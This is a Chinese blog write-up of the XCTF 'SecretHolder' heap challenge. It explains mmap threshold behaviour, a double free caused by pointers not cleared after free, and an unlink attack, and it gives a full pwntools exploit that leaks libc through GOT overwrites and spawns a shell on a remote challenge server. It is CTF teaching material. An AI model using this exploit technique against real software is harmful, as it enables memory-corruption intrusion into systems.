Loading... XCTF 提供了莫名其妙的附件,不能解压。所以只好自己找 binary。[下载链接](https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder) ### 前置知识 这道题出现了 mmap 的情况,这是我之前不曾碰到过的。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2786364996.png "></div> 红框中申请了一个巨大的空间,引用华庭《glibc内存管理ptmalloc源代码分析》中的分析 > 当用户的请求超过 mmap 分配阈值,并且主分配区使用 sbrk()分配失败的时候,或是非 > 主分配区在 top chunk 中不能分配到需要的内存时,ptmalloc 会尝试使用 mmap()直接映射一 > 块内存到进程内存空间。使用 mmap()直接映射的 chunk 在释放时直接解除映射,而不再属 > 于进程的内存空间。 > 当 ptmalloc munmap chunk 时,如果回收的 chunk 空间大小大于 mmap 分配阈值的当前 > 值,并且小于 DEFAULT_MMAP_THRESHOLD_MAX(32 位系统默认为 512KB,64 位系统默认 > 为 32MB),ptmalloc 会把 mmap 分配阈值调整为当前回收的 chunk 的大小,并将 mmap 收 > 缩阈值(mmap trim threshold)设置为 mmap 分配阈值的 2 倍。这就是 ptmalloc 的对 mmap > 分配阈值的动态调整机制,该机制是默认开启的 这里可以知道,当我们第一次申请一个 Huge Secret 时,分配器会通过 mmap 来直接映射内存,这样我们几乎无法利用,但是当我们 `free` 掉这个 Huge Secret 之后,再一次申请就不会通过 mmap 来了,而是先通过 `brk` 来增加 `heap` 区大小,然后直接分割分配。 ### 漏洞点 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3603455319.png "></div> 主要的漏洞点就是这里在 free 过后未给指针置零,当然 UAF 仍然是困难的,因为有变量记录了分配情况,但是 `double free` 是很容易实现的,不难想到可以通过 `unlink` 实现任意地址读写。 ### 解法 首先申请并删除两次 Huge Secret,让这个 chunk 可以被分配在 heap 区段,然后 Small Secret 和 Big Secret 各申请一个并删去,注意要后分配先删除 Big Secret,这样才可以还原 top_chunk,然后在申请一个 Huge Secret,这个时候堆的结构是这样的(注意 small 和 big secret 都是实际不存在的,但是我们仍然有指向他们的指针) <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/4236758751.jpg "></div> 我们通过 `Renew` Huge Secret,就可以伪造 chunk。至于实现 `unlink` 及之后的操作,都是老套路,这里不详细说,只提两点,一是这里指向 chunk 的指针应该用指向 `Huge Secret` 的指针,若用 `Small Secret` 的指针我们还是无法写入;二是要用 one_gadget 来 getshell,用 `system` 又会出现奇怪找不到的错误([上一次](https://www.cjovi.icu/WP/1157.html)),不过这里 `atoi@got` 已经被成功改写为了 `system`,输入 `sh` 还是可以 getshell 的。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * #context.terminal = ['tmux','splitw','-h'] #context.log_level = 'debug' def Keep(secret_type,payload): sh.sendlineafter("3. Renew secret\n",'1') sh.sendlineafter("3. Huge secret\n",str(secret_type)) sh.sendafter("secret: \n",payload) def Wipe(secret_type): sh.sendlineafter("3. Renew secret\n",'2') sh.sendlineafter("3. Huge secret\n",str(secret_type)) def Renew(secret_type,payload): sh.sendlineafter("3. Renew secret\n",'3') sh.sendlineafter("3. Huge secret\n",str(secret_type)) sh.sendafter("secret: \n",payload) elf = ELF("./SecretHolder") #sh = process("./SecretHolder") sh = remote("111.200.241.244",32912) Keep(3,'\n') Wipe(3) Keep(3,'\n') Wipe(3) Keep(1,'\n') Keep(2,'\n') Wipe(2) Wipe(1) huge_ptr_addr = 0x6020A8 fake_chunks = p64(0) + p64(0x21) fake_chunks += p64(huge_ptr_addr - 0x18) + p64(huge_ptr_addr - 0x10) fake_chunks += p64(0x20) + p64(0x100) fake_chunks += ''.ljust(0xF0,'\x00') fake_chunks += p64(0) + p64(0x21) * 0x10 Keep(3,fake_chunks + '\n') Wipe(2) payload = p64(0) + p64(0) + p64(elf.got["free"]) + p64(elf.got["atoi"]) + p64(elf.got["atoi"]) payload += p32(1) * 3 Renew(3,payload + '\n') #gdb.attach(proc.pidof(sh)[0]) Renew(2,p64(elf.symbols["puts"])) Wipe(3) atoi_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success('atoi_addr:' + hex(atoi_addr)) libcs = LibcSearcher("atoi",atoi_addr) libc_base = atoi_addr - libcs.dump("atoi") system_addr = libc_base + libcs.dump("system") one_gadget = libc_base + 0x4647c #Renew(1,p64(system_addr) + '\n') Renew(1,p64(one_gadget) + '\n') sh.sendline('\x00') #sh.sendline("cat flag\x00") sh.interactive() ``` 最后修改:2021 年 03 月 07 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧